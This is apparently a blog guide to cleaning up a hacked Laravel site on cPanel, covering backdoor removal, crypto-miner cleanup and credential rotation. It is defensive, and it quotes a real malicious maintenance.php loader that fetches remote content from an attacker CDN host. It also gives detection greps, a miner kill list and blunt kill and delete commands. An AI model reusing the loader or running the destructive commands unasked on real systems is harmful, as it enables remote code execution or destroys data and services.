Skip to main content

Command Palette

Search for a command to run...

Essential Steps to Take After a Web Attack

Updated
β€’9 min read

All steps should be completed immediately, so it's better if a team works on them. This way, they can manage multiple tasks at the same time, making the process faster.

This list is not a complete guide; experts should handle such cases, but it provides a helpful starting point.

Cleanup (Finding the "Backdoor")

  • Remove any additional added files by the hacker/attacker

    • If you are using Git (or any similar tool)

      # 1. Check the added files
      git status
      

      Example (real-world example)

      On branch Your branch is up to date with 'origin/. Untracked files: (use "git add ..." to include in what will be committed) .swap.32uUcl0D.php 96a040bcf9a8.php SE8Yj48YnI.php Styleshllnes.php assets/ bootstrap.cache.php config/index.php database/settings/599335/ database/settings/index.php nohup.out omofef00.php public/.swap.32uUcl0D.php public/0b8ee88857.php public/0b8ee88857.txt public/123.php public/3429b64fd3.php public/3429b64fd3.txt public/40c80d2677.php public/40c80d2677.txt public/4481177009.php public/6bdc9ba563.php

      # 2. Remove added files
      git clean -fd && git stash
      
  • Run Imunify360: In cPanel, find the Imunify360 icon and start a "Full Scan." This is your best chance at finding scripts hidden in deep subfolders.

  • Check public/ for .php files: Aside from index.php, there should almost never be other .php files in your public folder. Delete anything suspicious (e.g., wp-login.php on a Laravel site, css.php, test.php).

    • This can be checked also using Git by running git status to see added files on the server
  • Delete temp files and caches: Clear out all files in your temporary upload directories like storage/app/temp in addition to cache files if any using the command:

    # Laravel cache command
    php artisan optimize:clear
    
  • In Laravel, check ./storage/framework/maintenance.php content and delete it
    Example of a malicious content:

    <?php
    $url = "https://sebat-dulu-bray.b-cdn.net/gratis.txt";
    \(content = @file_get_contents(\)url);
    if ($content === false) {
        $ch = curl_init();
        curl_setopt(\(ch, CURLOPT_URL, \)url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        \(content = curl_exec(\)ch);
        curl_close($ch);
    }
    echo $content;
    ?>
    <?php
    /**
    * Note: This file may contain artifacts of previous malicious infection.
    * However, the dangerous code has been removed, and the file is now safe to use.
    */
    

    Check .htaccess: Ensure no weird code was added to your .htaccess that redirects traffic or executes files as PHP.

  • Delete and reinstall vendor and node_modules

    mkdir -p security && nano security/clear_vendor_node_modules.sh
    
    #!/bin/bash
    
    set -e
    
    echo "Checking vendor directory..."
    if [ -d "vendor" ]; then
        echo "Removing vendor..."
        rm -rf vendor
        
        echo "Installing Composer dependencies..."
        composer install
    fi
    
    echo "Checking node_modules directory..."
    if [ -d "node_modules" ]; then
        echo "Removing node_modules..."
        rm -rf node_modules
    
        echo "Installing npm dependencies..."
        npm install
    
        echo "Running build..."
        npm run build
    fi
    
    echo "Done."
    
    chmod +x security/clear_vendor_node_modules.sh
    
    sudo security/clear_vendor_node_modules.sh
    
  • Search for the "Eval" Backdoor: If Git says everything is clean, the backdoor might be in a folder you are ignoring (like storage or vendor). Use these commands to search for the "signature" of the virus:

    grep -rnw . -e "eval(" --exclude-dir={node_modules,vendor,.git}
    

    If this returns hits in config/, database/ or public/, those are the files recreating the virus.

    Example of the found files (real-world example):

    ./storage/app/public/Styleshllnes.php

    ./storage/app/public/bootstrap.cache.php

  • Stop any running virus processes

    # Display processes
    ps -f -u "$USER" | grep [p]hp
    
    pkill -u "$USER" -f php
    
  • Search for the "Re-creator" Script: If files are still appearing, one script is still alive. Let's find any PHP file that was modified in the last 60 minutes:

    find . -name "*.php" -mmin -60
    
  • Check cron jobs: Checks if the virus is set to auto-restart or run any other automated function

    for user in $(getent passwd | cut -f1 -d:); do
        echo "---[ USER: $user ]---"
        crontab -l -u "$user"
    done
    
  • Find malicious files in Git ignored directories: This will also show legitimate files (like your .env or files in storage/framework/views). Look for random filenames like kjrce03dcm.php or RIP.php in that list.

    # List all files
    git clean -ndX
    
    # List only .php files
    git clean -ndX | grep '\.php$'
    
    • -n: Dry run (shows you the files without deleting them).

    • -d: Includes directories.

    • -X: Only shows files that are ignored by Git.

    Example (real-world example)

    ./vendor/bootstrap.cache.php

    ./vendor/96a040bcf9a8.php

  • Detect untracked PHP files (backdoors) that contain malicious execution signatures, specifically bypassing files already safely committed to Git:

    find . -type f -name "*.php" -mtime -2 -not -path "*/.git/*" \
    | xargs grep -lE "eval\(
    |base64_decode\(
    |shell_exec\("
    
    • -mtime -2: prevents the command from listing thousands of legitimate Laravel files, focusing only on what changed since the attack started (-2 β†’ 2 days for example)

Crypto Miner Removal

  • Find and Kill ALL Miner Processes

    • Create new file

      mkdir -p security && nano security/miner_cleanup.sh
      
    • Paste the content below and save

      #!/bin/bash
      
      echo "======================================"
      echo "   πŸ›‘  Miner Cleanup & CPU Monitor"
      echo "======================================"
      echo ""
      
      miners=("xmrig" "kdevtmpfsi" "kinsing" "crypto" "miner" "minerd")
      
      echo "πŸ”Ž Killing known miner processes..."
      echo ""
      
      for name in "${miners[@]}"; do
          if pgrep -f "$name" > /dev/null; then
              pkill -9 -f "$name"
              echo "  βœ… kill $name"
          else
              echo "  ⚠️  $name not running"
          fi
      done
      
      echo ""
      echo "--------------------------------------"
      echo "πŸ“Š Top CPU Processes"
      echo "--------------------------------------"
      
      ps -eo pid,comm,%cpu --sort=-%cpu | head -11 | awk '
      NR==1 { printf "%-8s %-25s %s\n", "PID", "NAME", "CPU%" }
      NR>1  { printf "%-8s %-25s %s\n", \(1, \)2, $3 }
      '
      
      echo ""
      echo "--------------------------------------"
      echo "πŸ”₯ Killing High CPU Processes (>90%)"
      echo "--------------------------------------"
      
      ps -eo pid,%cpu --sort=-%cpu | awk '\(2 >= 90 {print \)1}' | while read pid; do
          if [ ! -z "$pid" ]; then
              kill -9 "$pid" 2>/dev/null
              echo "  🚨 killed PID $pid (High CPU)"
          fi
      done
      
      echo ""
      echo "======================================"
      echo "   βœ… Scan Complete"
      echo "======================================"
      
    • Give permission and run

      chmod +x security/miner_cleanup.sh
      
      sudo ./security/miner_cleanup.sh
      
    • Also kill any suspicious processes even if it’s not a high CPU process

      Real world example:
      In our case, the guard.sh process was recreating the stmept process, so we kill it manually using kill -9 <PID for guard.sh> and we re-run the previous script ./security/miner_cleanup.sh twice to check if stmept is re-generated or not

      PID NAME CPU%
      453250 stmept 299
      113710 defunct 0.0
      113711 defunct 0.0
      441935 bash 0.0
      451425 guard.sh 0.0
      641936 sleep 0.0
      643298 bash 0.0
      643311 ps 0.0
      643312 head 0.0
      643313 awk 0.0
  • Find and kill guard.sh (in our case this is the file that was re-generating the mining process

    • Create new file

      mkdir -p security && nano security/clean_suspicious_file.sh
      
    • Paste the content below and save

      #!/bin/bash
      
      # ==============================
      # Crypto Miner Investigation Tool
      # ==============================
      
      FILE_NAME=""
      DAYS=3
      SEARCH_ROOT="."
      DELETE_MODE=false
      
      # Parse arguments
      while [[ "$#" -gt 0 ]]; do
          case $1 in
              --file-name) FILE_NAME="$2"; shift ;;
              --days) DAYS="$2"; shift ;;
              --search-root) SEARCH_ROOT="$2"; shift ;;
              --delete) DELETE_MODE=true ;;
              *) echo "Unknown parameter passed: $1"; exit 1 ;;
          esac
          shift
      done
      
      if [[ -z "$FILE_NAME" ]]; then
          echo "Usage: sudo $0 --file-name guard.sh [--days 3] [--search-root /path] [--delete]"
          exit 1
      fi
      
      echo "========================================"
      echo "πŸ” Searching for \(FILE_NAME in \)SEARCH_ROOT"
      echo "========================================"
      
      FOUND_FILES=\((find "\)SEARCH_ROOT" -name "$FILE_NAME" -type f 2>/dev/null)
      
      if [[ -z "$FOUND_FILES" ]]; then
          echo "No file found."
      else
          echo "$FOUND_FILES"
      fi
      
      echo ""
      echo "========================================"
      echo "πŸ“„ Showing file contents (if found)"
      echo "========================================"
      
      for FILE in $FOUND_FILES; do
          echo "---- $FILE ----"
          cat "$FILE" 2>/dev/null
          echo ""
      done
      
      echo ""
      echo "========================================"
      echo "🧬 Checking shell startup persistence"
      echo "========================================"
      
      grep -iE "guard|stmept|curl|wget" ~/.bashrc 2>/dev/null
      grep -iE "guard|stmept|curl|wget" ~/.bash_profile 2>/dev/null
      
      echo ""
      echo "========================================"
      echo "πŸ•΅οΈ Finding PHP files modified in last $DAYS days"
      echo "========================================"
      
      find "\(SEARCH_ROOT" -name "*.php" -mtime -"\)DAYS" -type f \
      ! -path "*/vendor/*" ! -path "*/node_modules/*" 2>/dev/null
      
      echo ""
      echo "========================================"
      echo "⚠ Searching for suspicious PHP execution patterns"
      echo "========================================"
      
      grep -rE "shell_exec|exec|system" --include="*.php" "$SEARCH_ROOT" 2>/dev/null \
      | grep -iE "guard|stmept|curl|wget" | head -20
      
      echo ""
      echo "========================================"
      echo "βš™ Checking systemd user services"
      echo "========================================"
      
      systemctl --user list-units --all 2>/dev/null
      
      # Optional deletion
      if \(DELETE_MODE && [[ -n "\)FOUND_FILES" ]]; then
          echo ""
          echo "========================================"
          echo "πŸ—‘ Deleting found files"
          echo "========================================"
          for FILE in $FOUND_FILES; do
              rm -f "$FILE"
              echo "Deleted: $FILE"
          done
      fi
      
      echo ""
      echo "βœ” Scan Complete."
      
    • Give permission and run

      chmod +x security/clean_suspicious_file.sh
      
      sudo security/clean_suspicious_file.sh --file-name guard.sh --days 3 --search-root "/home/$USER"
      

Lock the Doors (Credentials)

  • Change SSH/FTP Passwords: Change the password for the main user account on the server

  • Change Database Password: Generate a new password in cPanel > MySQL Databases and update your .env file immediately (or any related files)

  • For Laravel apps:

    • Rotate Laravel APP_KEY β†’ Run php artisan key:generate

      Warning: This will log out all users and break any data encrypted with encrypt()

  • Update 3rd Parties Credentials: If your .env contains Mailgun, Postmark, or AWS S3 keys, log into those services and generate new API keys. The attackers likely have the old ones.

  • CPanel/Hosting Password: Change your main login to your server dashboard

Fix the Code

  • Fix file upload validation

    • For Laravel apps:

      • Use \(file->extension() instead of \)file->getClientOriginalExtension().

      • Enforce the mimes:... validation rule

      • Change mkdir(..., 0777) to 0755.

  • Disable PHP Functions: In FastComet cPanel > Select PHP Version > Options, add exec, system, shell_exec, passthru, proc_open to disable_functions.

  • Update Laravel & Packages: Run composer update to ensure you aren't vulnerable to known exploits like the "Ignition RCE."

Web App Security

Part 1 of 1